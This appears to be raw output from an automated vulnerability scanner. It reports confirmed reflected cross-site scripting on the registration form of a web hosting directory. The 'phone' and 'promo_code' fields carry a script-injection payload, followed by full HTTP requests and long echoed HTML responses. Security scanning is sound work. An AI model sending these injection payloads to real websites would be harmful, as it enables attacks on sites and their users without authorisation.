font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST '"--></style></script><script>alert(0x001CF4)</script>
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CF4)%3c%2fscript%3e&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:50:46 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='325A5101EE356073792EF848CADED281C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='325A5101EE35607327CF68DE633120606F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='325A5101EE356073598EE309C3FC7663C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073211A6CE19BD1AE4CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='325A5101EE356073FCA98B308F125BBA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='325A5101EE356073F97858D4A7FDDBFAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='325A5101EE3560737BDE7F9BB074ED8BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='325A5101EE356073C2C99549FAC7B7096F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='325A5101EE356073095ADAA083EF7D91C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='325A5101EE356073A0B70BBB2E681D016F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='325A5101EE3560736CDAA374D48DB31EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='325A5101EE356073D6F93AB3339D3870C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='325A5101EE3560733A01BD7B24639A30C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073CD8DFA9623597202C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='325A5101EE356073A5922BDB8C629A7EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='325A5101EE356073B959F8C4BE61F76FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='325A5101EE356073A408DDF4AD0D56E66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='325A5101EE356073B83449E6D59782176F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='325A5101EE356073BD50F147FD3C5E776F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST '"--></style></script><script>alert(0x001CF5)</script>
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CF5)%3c%2fscript%3e&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:50:48 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='325A5101EE35607336E351B7C730F5B3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='325A5101EE3560730A02D7804F2143FD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='325A5101EE35607363BC15778A64EDC2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073C3227D66A868349DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='325A5101EE3560736FBB07600F0ACFDB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='325A5101EE3560736BBB1B5B9A332E1CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='325A5101EE356073CF5DFCB4D6408D1CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='325A5101EE356073BD0F647A963E087C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='325A5101EE35607327D6D9F4FEC2E725C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='325A5101EE35607356BC97BBD50054EF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='325A5101EE35607379319E351BBDA92BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='325A5101EE356073E76F9D64ECDE5580C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='325A5101EE356073A3528CBD6B228C82C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073D314F21FD75C9A00C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='325A5101EE3560732317557903CBFCB6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
